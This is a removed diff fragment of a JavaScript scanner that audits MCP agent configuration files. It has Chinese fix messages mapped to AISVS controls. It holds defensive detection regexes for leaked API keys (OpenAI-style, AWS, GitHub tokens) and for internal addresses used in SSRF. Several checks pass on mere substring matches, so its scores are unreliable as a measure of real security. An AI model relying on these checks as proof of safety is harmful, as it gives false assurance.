-    id: 'mcp-tls', category: 'C10 MCP安全', name: 'TLS传输加密', severity: 'critical',
-    check: (cfg) => {
-      const servers = getServers(cfg);
-      if (!servers.length) return 'info';
-      return servers.every(s => !s.url || s.url.startsWith('https://') || s.url.startsWith('stdio:')) ? 'pass' : 'fail';
-    },
-    fix: '所有MCP Server URL应使用HTTPS协议，禁止明文HTTP传输',
-    aisvs: 'C10.1'
-  },
-  {
-    id: 'mcp-auth', category: 'C10 MCP安全', name: '服务器鉴权配置', severity: 'high',
-    check: (cfg) => {
-      const servers = getServers(cfg);
-      if (!servers.length) return 'info';
-      const hasAuth = servers.some(s => s.headers?.authorization || s.headers?.Authorization || s.env?.API_KEY);
-      return hasAuth ? 'pass' : 'warn';
-    },
-    fix: '为MCP Server配置认证头（Authorization/API Key），防止未授权访问',
-    aisvs: 'C10.2'
-  },
-  {
-    id: 'mcp-timeout', category: 'C9 Agent安全', name: '超时配置', severity: 'medium',
-    check: (cfg) => {
-      return JSON.stringify(cfg).includes('timeout') ? 'pass' : 'warn';
-    },
-    fix: '为MCP Server连接设置超时时间，防止Agent因无响应Server而挂起',
-    aisvs: 'C9.1'
-  },
-  {
-    id: 'cred-exposure', category: 'C5 访问控制', name: '凭证明文暴露', severity: 'critical',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      const patterns = [/sk-[a-zA-Z0-9]{20,}/, /AKIA[A-Z0-9]{16}/, /ghp_[a-zA-Z0-9]{36}/, /password\s*:\s*["'][^"']+["']/i];
-      return patterns.some(p => p.test(str)) ? 'fail' : 'pass';
-    },
-    fix: '禁止在配置文件中硬编码API密钥。使用环境变量引用（如 ${API_KEY}）或密钥管理服务',
-    aisvs: 'C5.1'
-  },
-  {
-    id: 'allowed-tools', category: 'C9 Agent安全', name: '工具白名单', severity: 'high',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('allowed_tools') || str.includes('allowedTools') || str.includes('permissions')) ? 'pass' : 'warn';
-    },
-    fix: '配置allowed_tools白名单，限制Agent可调用的工具范围，遵循最小权限原则',
-    aisvs: 'C9.3'
-  },
-  {
-    id: 'budget-limit', category: 'C9 Agent安全', name: 'Token预算控制', severity: 'high',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('budget') || str.includes('max_tokens') || str.includes('token_limit') || str.includes('cost_limit')) ? 'pass' : 'warn';
-    },
-    fix: '设置Token消耗预算上限，防止Agent因循环调用导致成本失控',
-    aisvs: 'C9.1'
-  },
-  {
-    id: 'ssrf-protection', category: 'C10 MCP安全', name: 'SSRF防护', severity: 'critical',
-    check: (cfg) => {
-      const servers = getServers(cfg);
-      const urls = servers.map(s => s.url || '').join(' ');
-      const internal = /169\.254\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|localhost|127\.0\.0\.1/i;
-      return internal.test(urls) ? 'fail' : 'pass';
-    },
-    fix: 'MCP Server URL不应指向内网地址（169.254.x.x/10.x/172.16-31.x/192.168.x），防止SSRF攻击',
-    aisvs: 'C10.3'
-  },
-  {
-    id: 'logging', category: 'C12 监控', name: '审计日志配置', severity: 'medium',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('log') || str.includes('audit') || str.includes('trace') || str.includes('telemetry')) ? 'pass' : 'warn';
-    },
-    fix: '启用审计日志记录所有Agent操作，便于事后追溯和安全分析',
-    aisvs: 'C12.1'
-  },
-  {
-    id: 'sandbox', category: 'C4 基础设施', name: '沙箱隔离配置', severity: 'medium',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('sandbox') || str.includes('isolation') || str.includes('container') || str.includes('docker')) ? 'pass' : 'info';
-    },
-    fix: '考虑为MCP Server配置沙箱执行环境，限制文件系统和网络访问',
-    aisvs: 'C4.1'
-  },
-  {
-    id: 'version-pin', category: 'C6 供应链', name: '依赖版本锁定', severity: 'medium',
-    check: (cfg) => {
-      const servers = getServers(cfg);
-      if (!servers.length) return 'info';
-      return servers.some(s => s.command || s.version) ? 'pass' : 'warn';
-    },
-    fix: '锁定MCP Server依赖的具体版本号，防止供应链攻击',
-    aisvs: 'C6.1'
-  },
-  {
-    id: 'error-handling', category: 'C12 监控', name: '错误处理策略', severity: 'medium',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('retry') || str.includes('fallback') || str.includes('error') || str.includes('on_error')) ? 'pass' : 'warn';
-    },
-    fix: '配置错误处理和故障转移策略，确保Agent在Server故障时优雅降级',
-    aisvs: 'C12.2'
-  },
-  {
-    id: 'input-validation', category: 'C2 输入验证', name: '输入校验规则', severity: 'high',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('validation') || str.includes('schema') || str.includes('input_check') || str.includes('sanitize')) ? 'pass' : 'warn';
-    },
-    fix: '为Agent输入配置校验规则，防御提示注入和编码走私攻击',
-    aisvs: 'C2.1'
-  },
-  {
-    id: 'output-validation', category: 'C7 输出控制', name: '输出校验规则', severity: 'medium',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('output') || str.includes('response_check') || str.includes('filter')) ? 'pass' : 'info';
-    },
-    fix: '对Agent输出进行格式校验和敏感信息过滤',
-    aisvs: 'C7.1'
-  },
-  {
-    id: 'kill-switch', category: 'C9 Agent安全', name: '紧急终止机制', severity: 'high',
-    check: (cfg) => {
-      const str = JSON.stringify(cfg);
-      return (str.includes('kill') || str.includes('circuit_breaker') || str.includes('emergency') || str.includes('abort')) ? 'pass' : 'warn';
-    },
-    fix: '配置紧急终止开关（kill switch），在检测到异常行为时立即停止Agent',
-    aisvs: 'C9.5'
-  }
-];
-
-function getServers(cfg) {
-  if (cfg.mcpServers) return Object.values(cfg.mcpServers);
-  if (cfg.servers) return cfg.servers;
-  if (Array.isArray(cfg)) return cfg;
-  return [];
-}
-
-/**
- * Run security scan on a parsed config object
- * @param {Object} config - Parsed MCP config
- * @returns {{ results: Array, stats: Object }}
- */
-function runScan(config) {
-  const results = CHECKS.map(check => {
-    let status;
-    try { status = check.check(config); } catch (e) { status = 'info'; }
-    return { ...check, status };
-  });
-
-  const pass = results.filter(r => r.status === 'pass').length;
-  const warn = results.filter(r => r.status === 'warn').length;
-  const fail = results.filter(r => r.status === 'fail').length;
-  const info = results.filter(r => r.status === 'info').length;
-  const total = results.length;
-  const score = Math.round(((pass * 10 + warn * 5 + info * 7) / (total * 10)) * 100);
-
-  return { results, stats: { pass, warn, fail, info, total, score } };
-}
-
-/**
- * Parse config content (JSON or simple YAML)
- * @param {string} content - File content
- * @param {string} filename - Original filename
- * @returns {Object} Parsed config
- */
-function parseConfig(content, filename = '') {
-  if (filename.endsWith('.json') || filename.endsWith('.toml')) {
-    return JSON.parse(content);
-  }
-  // Try JSON first for unknown extensions
-  try { return JSON.parse(content); } catch (e) {}
-  // Basic YAML parse
-  return parseSimpleYAML(content);
-}
-
-function parseSimpleYAML(text) {
-  const result = {};
-  const lines = text.split('\n');
-  let currentPath = [];
-  let indentStack = [-1];
-  for (const line of lines) {
-    if (!line.trim() || line.trim().startsWith('#')) continue;
-    const indent = line.search(/\S/);
-    const match = line.trim().match(/^([^:]+):\s*(.*)/);
-    if (!match) continue;
-    const key = match[1].trim();
-    let val = match[2].trim();
-    while (indentStack.length > 1 && indent <= indentStack[indentStack.length - 1]) {
-      indentStack.pop();
-      currentPath.pop();
-    }
-    if (val === '' || val === '{}' || val === '[]') {
-      currentPath.push(key);
-      indentStack.push(indent);
-    } else {
-      val = val.replace(/^["']|["']$/g, '');
-      setNestedValue(result, [...currentPath, key], val);
-    }
-  }
-  return result;
-}
-
-function setNestedValue(obj, path, value) {
-  let current = obj;
-  for (let i = 0; i < path.length - 1; i++) {
-    if (!current[path[i]]) current[path[i]] = {};
-    current = current[path[i]];
-  }
-  current[path[path.length - 1]] = value;
-}
-
-// Auto-detect MCP config files in a directory
-const KNOWN_CONFIG_PATHS = [
-  '.cursor/mcp.json',
-  'claude_desktop_config.json',
-  '.claude/mcp.json',
-  'mcp.json',
-  'mcp.yaml',
-  'mcp.yml',
-  '.vscode/mcp.json',
-  'config/mcp.json',
-  '.mcp/mcp.json',
-  'mcp_config.json',
-];
-
-if (typeof module !== 'undefined' && module.exports) {
-  module.exports = { CHECKS, runScan, parseConfig, getServers, KNOWN_CONFIG_PATHS };
-}